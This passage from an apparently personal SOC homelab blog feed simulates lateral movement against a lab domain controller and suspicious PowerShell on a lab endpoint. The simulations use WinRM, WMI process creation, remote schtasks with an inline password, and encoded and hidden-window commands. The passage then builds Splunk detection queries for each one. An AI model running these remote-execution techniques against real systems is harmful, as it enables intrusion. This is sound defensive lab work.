&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Enter-PSSession&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ComputerName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SOC-AD1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;soclab\administrator&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\07.png&quot; alt=&quot;07.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Result: PowerShell Remoting attempt blocked due to endpoint or firewall restrictions.&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;wmi-remote-execution&quot;&gt;WMI Remote Execution&lt;/h4&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Invoke-CimMethod&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ComputerName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SOC-AD1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;`
&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ClassName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Win32_Process&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;`
&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-MethodName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Create&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;`
&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Arguments&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CommandLine&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cmd.exe /c whoami&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\08.png&quot; alt=&quot;08.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Result: WMI remote execution attempt was unsuccessful due to the lab’s security configuration.&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;scheduled-task-execution&quot;&gt;Scheduled Task Execution&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;schtasks /create /s 192.168.10.10 /u soclab\administrator /p DCPassword /sc once /tn &quot;TestTask&quot; /tr &quot;cmd.exe /c whoami&quot; /st 00:00

schtasks /run /s 192.168.10.10 /tn &quot;TestTask&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\09.png&quot; alt=&quot;09.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Result: Remote scheduled task creation blocked, preventing traditional lateral movement via task scheduler.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;2-detection-phase-soc-investigation&quot;&gt;2. Detection Phase (SOC Investigation)&lt;/h1&gt;

&lt;p&gt;At this stage, I shifted from activity simulation to log analysis and validation.&lt;/p&gt;

&lt;h3 id=&quot;11-failed-authentication-activity&quot;&gt;1.1 Failed Authentication Activity&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4625
| table _time Account_Name Workstation_Name Source_Network_Address Status Failure_Reason
| sort _time
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q1-1.png&quot; alt=&quot;q1-1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Failed authentication events were reviewed to identify potential brute-force or credential validation attempts against privileged accounts. Multiple failed logons were observed originating from the same source host.&lt;/p&gt;

&lt;h3 id=&quot;12-successful-authentication-activity&quot;&gt;1.2 Successful Authentication Activity&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=4624 OR EventCode=4625)
Logon_Type=3
(Source_Network_Address=&quot;192.168.20.10&quot; OR Workstation_Name=&quot;SOC-WIN11&quot;)
| table _time EventCode Account_Name Workstation_Name Source_Network_Address
| sort _time
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q1-2.png&quot; alt=&quot;q1-2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A successful authentication event was observed following repeated failed logons from the same source system, indicating a potential credential validation or password guessing pattern.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;22-kerberos-validation&quot;&gt;2.2 Kerberos Validation&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=4768 OR EventCode=4769)
Account_Name=&quot;Administrator*&quot;
Client_Address=&quot;::ffff:192.168.20.10&quot;
| table _time EventCode Account_Name Service_Name Client_Address Failure_Code
| sort _time
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q2.png&quot; alt=&quot;q2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Kerberos ticket activity was reviewed to confirm whether authentication succeeded and whether service access was requested.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;23-smb-access-validation&quot;&gt;2.3 SMB Access Validation&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=5140 OR EventCode=5145) Share_Name=&quot;*C$*&quot;
| table _time Account_Name Source_Address Share_Name Relative_Target_Name
| sort _time
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q3-1.png&quot; alt=&quot;q3-1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q3-2.png&quot; alt=&quot;q3-2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;File Share auditing was enabled on the Domain Controller to determine whether administrative SMB access activity was being properly captured in security telemetry.&lt;/p&gt;

&lt;p&gt;After enabling the relevant audit policy, the SMB access activity was re-generated by repeating the administrative share interaction to confirm that Event ID 5140/5145 events were being properly logged and ingested into Splunk.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;24-lateral-movement-attempt-investigation-scheduled-task-path&quot;&gt;2.4 Lateral Movement Attempt Investigation (Scheduled Task Path)&lt;/h3&gt;

&lt;p&gt;Initial network telemetry indicated potential lateral movement activity involving common remote administration and RPC-related ports:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (DestinationPort=5985 OR DestinationPort=445 OR DestinationPort=135)
| table _time host User DestinationIp DestinationPort Image
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\q4.png&quot; alt=&quot;q4.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This prompted an investigation into a possible Scheduled Task-based remote execution attempt.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;241-source-side-execution-validation&quot;&gt;2.4.1 Source-side execution validation&lt;/h3&gt;

&lt;p&gt;To confirm whether a Scheduled Task operation was initiated from the workstation, process creation telemetry was reviewed:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1 Image=&quot;*schtasks.exe&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\sch1-1.png&quot; alt=&quot;sch1-1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This confirmed execution of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;schtasks.exe&lt;/code&gt; on the source system (SOC-WIN11), indicating that the attack attempt was initiated locally.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;242-target-side-scheduled-task-creation-validation&quot;&gt;2.4.2 Target-side scheduled task creation validation&lt;/h3&gt;

&lt;p&gt;Next, scheduled task creation events were searched on the Domain Controller:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=4698
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\sch2.png&quot; alt=&quot;sch2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No scheduled task creation events were observed on the target system.&lt;/p&gt;

&lt;p&gt;This indicates that the remote task creation request did not complete successfully.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;243-task-modification-and-lifecycle-validation&quot;&gt;2.4.3 Task modification and lifecycle validation&lt;/h3&gt;

&lt;p&gt;To further validate whether any partial task creation or modification occurred, additional task-related events were reviewed:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* (EventCode=4702 OR EventCode=4699)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\sch3.png&quot; alt=&quot;sch3.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No task modification or update events were identified.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;244-execution-artifact-validation&quot;&gt;2.4.4 Execution artifact validation&lt;/h3&gt;

&lt;p&gt;To determine whether any indirect execution occurred (e.g., via task scheduler services), process execution traces were reviewed:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1
(CommandLine=&quot;*whoami*&quot; AND ParentImage IN (&quot;*taskeng.exe*&quot;, &quot;*taskhostw.exe*&quot;, &quot;*svchost.exe*&quot;))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\sch4.png&quot; alt=&quot;sch4.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No execution artifacts consistent with scheduled task execution were identified.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;245-target-system-validation&quot;&gt;2.4.5 Target system validation&lt;/h3&gt;

&lt;p&gt;Finally, process execution on the Domain Controller was directly checked:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* host=SOC-AD1 EventCode=1 cmd.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab4\sch5.png&quot; alt=&quot;sch5.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No corresponding process execution was observed on the target system.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;246-investigation-outcome&quot;&gt;2.4.6 Investigation outcome&lt;/h3&gt;

&lt;p&gt;The analysis shows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;schtasks.exe command executed on source workstation&lt;/li&gt;
  &lt;li&gt;No scheduled task creation observed on the Domain Controller&lt;/li&gt;
  &lt;li&gt;No task modification or lifecycle events detected&lt;/li&gt;
  &lt;li&gt;No execution artifacts associated with task-based execution&lt;/li&gt;
  &lt;li&gt;No evidence of remote process execution was observed on the target system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These findings indicate that the remote Scheduled Task-based lateral movement attempt did not result in execution on the target system, and was effectively blocked by existing security controls.&lt;/p&gt;

&lt;hr /&gt;
&lt;h2 id=&quot;3-investigation-summary&quot;&gt;3. Investigation Summary&lt;/h2&gt;

&lt;p&gt;By correlating authentication, SMB access, and endpoint telemetry, the following sequence was reconstructed:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Time&lt;/th&gt;
      &lt;th&gt;Activity&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;09:24:26&lt;/td&gt;
      &lt;td&gt;First failed logon (4625)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;09:32:59&lt;/td&gt;
      &lt;td&gt;Successful logon (4624)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;09:36:18&lt;/td&gt;
      &lt;td&gt;Kerberos TGT issued (4768)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;09:36:18&lt;/td&gt;
      &lt;td&gt;Kerberos Service Ticket issued (4769)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;Lateral movement attempt via WinRM (blocked)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;WMI execution attempt (blocked)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10:20:45&lt;/td&gt;
      &lt;td&gt;Scheduled Task execution attempt (blocked)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;21:17:21&lt;/td&gt;
      &lt;td&gt;Administrative Share Access (5140) (re-generated)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;4-findings&quot;&gt;4. Findings&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Failed authentication using privileged account&lt;/li&gt;
  &lt;li&gt;Successful authentication shortly afterward&lt;/li&gt;
  &lt;li&gt;Valid Kerberos ticket issuance&lt;/li&gt;
  &lt;li&gt;Administrative SMB share access observed&lt;/li&gt;
  &lt;li&gt;Multiple lateral movement techniques attempted&lt;/li&gt;
  &lt;li&gt;No single event confirmed lateral movement&lt;/li&gt;
  &lt;li&gt;Security controls prevented remote execution&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unlike a typical lab where remote execution succeeds, this environment demonstrated multiple lateral movement techniques were attempted but blocked by security controls. However, authentication and SMB telemetry still provided full visibility into intent and attack workflow.&lt;/p&gt;

&lt;p&gt;This mirrors real enterprise environments where execution is prevented but attacker intent is still observable&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;5-mitre-attck-mapping&quot;&gt;5. MITRE ATT&amp;amp;CK Mapping&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1078/&quot;&gt;T1078 - Valid Accounts&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1021/002/&quot;&gt;T1021.002 - SMB / Admin Shares&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1021/006/&quot;&gt;T1021.006 - WinRM (attempted but blocked)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1047/&quot;&gt;T1047 - WMI (attempted but blocked)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1053/005/&quot;&gt;T1053.005 - Scheduled Task (attempted but blocked)&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001 - PowerShell &lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h2&gt;

&lt;p&gt;This investigation demonstrates that even in hardened Active Directory environments where lateral movement techniques are blocked, SOC analysts can still reconstruct attacker intent through authentication patterns, SMB access, and endpoint telemetry.&lt;/p&gt;

&lt;p&gt;Rather than relying on successful exploitation, detection engineering focuses on correlating weak signals across identity, network, and endpoint layers to identify malicious intent.&lt;/p&gt;

&lt;p&gt;This lab demonstrates not just tool usage, but &lt;strong&gt;security architecture awareness&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Understanding why execution fails&lt;/li&gt;
  &lt;li&gt;Understanding what logs remain&lt;/li&gt;
  &lt;li&gt;Understanding how SOC analysts still detect activity without “successful attacks”&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 02 Jul 2026 05:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/investigating-suspicious-authentication-activity-in-active-directory</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/investigating-suspicious-authentication-activity-in-active-directory</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>splunk</category>
        
        <category>active-directory</category>
        
        <category>kerberos</category>
        
        <category>detection-engineering</category>
        
        
      </item>
    
      <item>
        <title>Investigating Suspicious PowerShell Activity with Splunk</title>
        <description>&lt;h1 id=&quot;investigating-suspicious-powershell-activity-with-splunk&quot;&gt;Investigating Suspicious PowerShell Activity with Splunk&lt;/h1&gt;

&lt;h2 id=&quot;simulating-common-powershell-abuse-techniques-and-investigating-endpoint-telemetry-in-splunk&quot;&gt;Simulating common PowerShell abuse techniques and investigating endpoint telemetry in Splunk&lt;/h2&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In this lab, I simulated suspicious PowerShell activity on a Windows 11 endpoint and investigated the resulting telemetry using Sysmon, PowerShell logging, and Splunk.&lt;/p&gt;

&lt;p&gt;The objective was to identify behaviors commonly associated with attacker activity, analyze the resulting logs, and develop a basic detection rule that could be used by a SOC analyst during an investigation.&lt;/p&gt;

&lt;h2 id=&quot;environment&quot;&gt;Environment&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Component&lt;/th&gt;
      &lt;th&gt;Purpose&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Windows 11&lt;/td&gt;
      &lt;td&gt;Endpoint&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sysmon&lt;/td&gt;
      &lt;td&gt;Process and network telemetry&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PowerShell Logging&lt;/td&gt;
      &lt;td&gt;Script visibility&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Splunk&lt;/td&gt;
      &lt;td&gt;Log aggregation and analysis&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;activity-simulation&quot;&gt;Activity Simulation&lt;/h2&gt;

&lt;h3 id=&quot;1-encoded-powershell-command&quot;&gt;1. Encoded PowerShell Command&lt;/h3&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncodedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ZQBjAGgAbwAgACIAUwBPAEMAIABMAGEAYgAgAFQAZQBzAHQAIgA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\01.png&quot; alt=&quot;01.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-hidden-window-execution&quot;&gt;2. Hidden Window Execution&lt;/h3&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-WindowStyle&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Hidden&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;echo &apos;hidden test&apos;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\02.png&quot; alt=&quot;02.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3-powershell-network-activity&quot;&gt;3. PowerShell Network Activity&lt;/h3&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Test-NetConnection&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;192.168.10.10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Port&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;445&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;http://192.168.30.10:8000&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\03.png&quot; alt=&quot;03.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\04.png&quot; alt=&quot;04.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;

&lt;h3 id=&quot;1-finding-powershell-execution&quot;&gt;1. Finding PowerShell Execution&lt;/h3&gt;

&lt;p&gt;Using Sysmon Event ID 1 (Process Creation), I searched for PowerShell executions on the endpoint.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1 Image=&quot;*powershell.exe&quot;
| table _time host User CommandLine ParentImage
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\query1.png&quot; alt=&quot;query1.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;2-hunting-for-encoded-commands&quot;&gt;2. Hunting for Encoded Commands&lt;/h3&gt;

&lt;p&gt;Encoded PowerShell commands are commonly used to obscure command content and evade simple detections.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1 Image=&quot;*powershell.exe&quot;
(CommandLine=&quot;*-EncodedCommand*&quot; OR CommandLine=&quot;*-enc*&quot;)
| table _time host User CommandLine ParentImage
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\query2.png&quot; alt=&quot;query2.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;3-finding-hidden-powershell-execution&quot;&gt;3. Finding Hidden PowerShell Execution&lt;/h3&gt;

&lt;p&gt;Attackers frequently use hidden PowerShell windows to reduce user visibility and avoid drawing attention to their activity.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* EventCode=1 Image=&quot;*powershell.exe&quot;
(CommandLine=&quot;*-WindowStyle Hidden*&quot; OR CommandLine=&quot;*-w hidden*&quot;)
| table _time host User CommandLine ParentImage
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&quot;..\assets\images\posts\homelab3\query3.png&quot; alt=&quot;query3.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;4-reviewing-script-block-logging-event-id-4104&quot;&gt;4: Reviewing Script Block Logging (Event ID 4104)&lt;/h3&gt;

&lt;p&gt;Sysmon Event ID 1 provides visibility into how PowerShell was launched, including its command-line arguments. However, it does not always reveal the actual PowerShell code that was executed. To inspect the executed code itself, I turned to &lt;strong&gt;PowerShell Script Block Logging (Event ID 4104)&lt;/strong&gt; in the &lt;strong&gt;Microsoft-Windows-PowerShell/Operational&lt;/strong&gt; log.&lt;/p&gt;

&lt;p&gt;Using the following search, I reviewed the PowerShell Operational events:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-spl&quot;&gt;index=* sourcetype=&quot;WinEventLog:Microsoft-Windows-PowerShell/Operational&quot; EventCode=4104
| table _time host User ScriptBlock Path
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The initial encoded PowerShell command executed only a very small script, making it difficult to demonstrate the value of Script Block Logging. To generate richer telemetry, I created a larger PowerShell payload containing several commands and encoded it as Base64.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$script&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;@&apos;
$lab = &quot;SOC Lab Test&quot;
Get-Date
Get-Process | Select-Object -First 3 Name, Id
Write-Output $lab
&apos;@&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encoded&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ToBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encoded&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then executed the resulting encoded command:&lt;/p&gt;

